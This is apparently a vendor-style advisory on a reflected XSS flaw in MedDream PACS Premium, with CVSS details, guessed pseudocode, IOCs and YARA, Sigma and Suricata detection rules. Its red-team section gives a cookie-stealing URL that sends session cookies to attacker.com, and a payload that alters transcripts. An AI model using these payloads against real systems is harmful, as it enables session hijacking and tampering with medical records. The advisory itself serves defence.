CVE-2025-53707

Executive Summary

CVE-2025-53707 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw exists in the modifyTranscript functionality, allowing an attacker to inject arbitrary JavaScript code via a specially crafted malicious URL. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction (e.g., clicking a link) but no authentication, making it a viable vector for phishing or credential theft in healthcare environments. As of this report, no patch is available, and no public exploit code has been released.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary medical imaging software (MedDream PACS Premium), which is typically deployed as a standalone application or web service in healthcare networks. No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a malicious link.
• Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the sensitive nature of medical PACS data elevate the risk. An attacker could use this XSS to steal session tokens, perform actions on behalf of a radiologist, or pivot to internal systems.

Deep Dive & Mechanics

The vulnerability resides in the modifyTranscript endpoint of MedDream PACS Premium. This endpoint is used to modify or update transcriptions associated with medical images. The application fails to properly sanitize user-supplied input in the URL parameters, allowing an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The application reflects user input directly into the response without proper encoding or validation. For example, a parameter like transcriptId or note might be echoed back in the page without escaping.

Attack Flow:

1. Attacker crafts a malicious URL: https://target-pacs-server/modifyTranscript?transcriptId=<script>alert('XSS')</script>
2. Attacker sends the URL to a victim (e.g., via email or chat).
3. Victim clicks the link while authenticated to the PACS system.
4. The server reflects the injected script in the response.
5. The victim's browser executes the script, allowing the attacker to steal cookies, perform actions, or redirect to a phishing page.

Impact: Successful exploitation could lead to session hijacking, data theft (e.g., patient records), or further compromise of the PACS server.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (pseudocode)
app.get('/modifyTranscript', (req, res) => {
  const transcriptId = req.query.transcriptId;
  res.send(`<div>Transcript ID: ${transcriptId}</div>`);
});

A patched version would sanitize the input:

// Patched code (pseudocode)
const sanitizeHtml = require('sanitize-html');
app.get('/modifyTranscript', (req, res) => {
  const transcriptId = sanitizeHtml(req.query.transcriptId);
  res.send(`<div>Transcript ID: ${transcriptId}</div>`);
});

Alternatively, using a templating engine with auto-escaping (e.g., EJS with <%= %>) would prevent XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: MedDream PACS Premium 7.3.6.870
• Access: Network connectivity to the PACS web interface
• User Interaction: Victim must click a crafted link

Exploit Steps:

1. Identify the vulnerable parameter (e.g., transcriptId).
2. Craft a payload to steal cookies:

   https://target-pacs/modifyTranscript?transcriptId=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

3. URL-encode the payload for reliability:

   https://target-pacs/modifyTranscript?transcriptId=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

4. Deliver the link via phishing email or social engineering.
5. Set up a listener on attacker.com to capture cookies.

Advanced Payload: Use a payload to perform actions on behalf of the victim (e.g., modify a radiology report):

fetch('/modifyTranscript', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'transcriptId=123&note=Malicious+note'
});

Blue Team

Detection:

• Monitor for unusual URL patterns containing <script> tags or encoded JavaScript.
• Alert on requests to /modifyTranscript with suspicious query parameters.
• Use WAF rules to block reflected XSS patterns.

Hunting:

• Search web server logs for requests to /modifyTranscript with non-standard characters.
• Look for outbound connections from the PACS server to unknown domains (potential data exfiltration).

Mitigation:

• Apply input validation and output encoding on the server side.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use a Web Application Firewall (WAF) to block XSS attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Requests to /modifyTranscript with query parameters containing <script>, onerror, onload, or javascript:.
  • Outbound HTTP/HTTPS connections to unknown IPs or domains from the PACS server.
  • Unusual referrer headers from phishing domains.

• File IOCs:

  • Temporary files in web server logs containing XSS payloads.
  • Modified configuration files (e.g., web.config) if the attacker gains access.

• Behavioral IOCs:

  • Unexpected changes to radiology reports or transcriptions.
  • Multiple failed login attempts from the same IP (if session hijacking is attempted).

Detection Engineering

YARA Rule

rule Detect_MedDream_XSS_Payload {
  meta:
    description = "Detects XSS payloads targeting MedDream PACS modifyTranscript endpoint"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-53707"
  strings:
    $xss1 = /modifyTranscript\?.*<script/i
    $xss2 = /modifyTranscript\?.*onerror/i
    $xss3 = /modifyTranscript\?.*javascript:/i
    $xss4 = /modifyTranscript\?.*%3Cscript/i
  condition:
    any of them
}

Sigma Rule

title: Reflected XSS in MedDream PACS modifyTranscript
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against MedDream PACS Premium modifyTranscript endpoint
author: Valters IT
date: 2025-04-10
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-53707
logsource:
  category: webserver
  product: apache
  service: http
detection:
  selection:
    cs-method: 'GET'
    cs-uri-query|contains:
      - '/modifyTranscript?'
      - '<script'
      - 'onerror'
      - 'javascript:'
      - '%3Cscript'
  condition: selection
falsepositives:
  - Legitimate use of script tags in non-malicious contexts (unlikely)
level: high
tags:
  - attack.initial_access
  - attack.t1190

Suricata Rule

alert http any any -> $HOME_NET any (
  msg:"CVE-2025-53707 MedDream PACS Reflected XSS Attempt";
  flow:to_server,established;
  content:"/modifyTranscript"; http_uri;
  content:"<script"; http_uri; nocase;
  sid:1000001;
  rev:1;
  reference:cve,2025-53707;
  classtype:web-application-attack;
  priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the PACS server: If possible, restrict network access to the PACS web interface to trusted IPs only.
2. Implement WAF rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block reflected XSS patterns.
3. Apply input validation: If you have access to the source code, add server-side input sanitization for all parameters in the modifyTranscript endpoint.
4. Use CSP headers: Add Content-Security-Policy: default-src 'self'; script-src 'self' to prevent inline script execution.

Long-Term Fix:

• Contact MedDream for an official patch. Since no patch is available, consider upgrading to a newer version if released.
• Conduct a full security audit of the application to identify similar vulnerabilities.

Workarounds:

• Disable the modifyTranscript functionality if not essential.
• Use a reverse proxy to filter malicious requests.

Valters IT – Securing Healthcare, One Patch at a Time.